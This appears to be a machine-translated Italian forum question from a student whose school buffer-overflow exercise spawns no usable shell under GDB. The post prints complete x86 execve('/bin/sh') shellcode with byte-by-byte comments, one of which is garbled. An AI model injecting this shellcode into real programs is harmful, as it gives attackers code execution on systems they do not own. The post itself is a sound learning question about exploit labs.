A scuola mi è stato assegnato un compito per eseguire un buffer overflow, che eseguiva alcuni shellcode e apriva una nuova shell. Dopo un po 'di giocherellando, l'overflow del buffer è riuscito, e quando ho eseguito l'exploit in GDB dice che il programma sta eseguendo / bin / dash, e quindi il programma che stavo sfruttando è uscito normalmente, lasciandomi senza shell.
Quando si esegue il programma di test per l'exploit, funziona perfettamente e mi fornisce una shell come dovrebbe. Quando provo a usare lo shellcode per sfruttare effettivamente un altro programma, funziona senza problemi, ma non genera neanche una nuova shell. Ho provato a modificare lo shellcode in modo che esegua i file che ho compilato da solo, anche se ho provato solo con alcuni semplici che stampano il nome host, e questo funziona bene. Se ho aggiunto system("/bin/sh");
a tale file, non genera ancora una shell come vorrei.
Quando passo allo shellcode con GDB, vedo che il programma vulnerabile che sto sfruttando esce subito dopo aver eseguito l'istruzione int 0x80
. La mia domanda qui è duplice: perché esce qui e cosa posso fare per evitarlo, creando così una nuova shell che posso usare?
Ecco lo shellcode che utilizzo:
"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4
Lo shellcode che utilizzo può essere trovato qui , quindi il merito va a ipv.